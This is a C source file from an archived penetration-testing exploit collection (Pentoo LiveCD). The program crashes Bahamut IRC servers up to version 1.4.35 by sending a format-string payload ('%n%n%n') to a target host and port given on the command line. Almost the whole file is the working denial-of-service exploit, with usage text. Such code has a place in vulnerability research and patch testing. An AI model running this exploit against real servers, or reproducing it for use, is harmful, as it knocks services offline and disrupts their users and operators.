home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bahamuts / ircc.c < prev   
C/C++ Source or Header  |  2005-02-12  |  3KB  |  92 lines

  1. /*
  2.  * Irc crash for bahamut servers based on http://www.securityfocus.com/archive/1/326917/2003-06-24/2003-06-30/0
  3.  * Bahamut IRCd <= 1.4.35
  4.  * - Dinos nagash@compulink.gr 27/06/03
  5.  */
  6.  
  7. #include <stdio.h>              /* for printf() */
  8. #include <sys/socket.h>         /* for socket(), connect(), send() and recv() */
  9. #include <arpa/inet.h>          /* for sockaddr_in inet_addr() */
  10. #include <stdlib.h>             /* for atoi() */
  11. #include <unistd.h>             /* for close() */
  12. #include <fcntl.h>              /* for fcntl() */
  13. #include <sys/file.h>           /* for O_NONBLOCK and FASYNC */
  14. #include <sys/time.h>           /* for timeval */
  15. #include <errno.h>              /* for errno and EINPROGRESS */
  16. #include <netdb.h>              /* for gethostbyname */
  17.  
  18. unsigned long resolv_name(char name[])
  19. {
  20.    struct hostent   *host;              /* structure containing host information */
  21.  
  22.    if ( (host = gethostbyname(name)) == NULL )
  23.    {
  24.         printf("gethostbyname() failed\n");
  25.         exit(1);
  26.    }
  27.    /* returing the binary, network-byte-ordered address */
  28.    return *( (unsigned long *) host->h_addr_list[0] );
  29. }
  30.  
  31.  
  32. int main (int argc, char *argv[])
  33. {
  34.    int sock;                    /* socket descriptor */
  35.    int retval;                  /* return value from connect() */
  36.    struct sockaddr_in ServAddr; /* socks's server address */
  37.    char *servIP;                /* server IP address */
  38.    char *socksbuf;              /* send buffer */
  39.    unsigned short ServPort;     /* socks server port */
  40.    struct timeval tv;           /* timeout values */
  41.    unsigned int len;            /* message length */
  42.    fd_set sockSet;              /* set of socket description */
  43.    unsigned long theip;         /* the ip */
  44.    fd_set setit;                /* fd settings for select() */
  45.    int i;
  46.  
  47.    if ( argc < 2 )
  48.    {
  49.         printf("Irc Crash \n");
  50.         printf("Usage:");
  51.         printf("./ircc <irc-server> <port>\n");
  52.         exit(1);
  53.    }
  54.  
  55.    servIP = argv[1];
  56.    ServPort = atoi(argv[2]);
  57.  
  58.    if ( ( sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ) < 0 )
  59.         return -1;      /* There is no socket for us :( */
  60.  
  61.    memset(&ServAddr, 0, sizeof(ServAddr));
  62.    ServAddr.sin_family          = AF_INET;
  63.    ServAddr.sin_addr.s_addr     = resolv_name(servIP);  /* irc-server ip */
  64.    ServAddr.sin_port            = htons(ServPort);      /* port */
  65.  
  66.  
  67.    if ( connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) == 0 ) {
  68.         printf("Connected...\n");
  69.    }
  70.    else {
  71.         printf("Error connecting to the ircserver\n");
  72.         close(sock);
  73.         exit(1);
  74.    }
  75.    sleep(1); /* just sleep */
  76.    memset(&socksbuf, 0, sizeof(socksbuf));
  77.    socksbuf = "%n%n%n";
  78.    printf("Sending buffer %s\n",socksbuf);
  79.    i = send(sock, socksbuf, 7, 0);
  80.    if (i <0) {
  81.         printf ("Error sending buffer\n");
  82.         close(sock);
  83.         return -1;
  84.    }
  85.  
  86.    printf("Buffer send\n");
  87.  
  88.    close(sock);
  89.    return 0;
  90. }
  91.  
  92.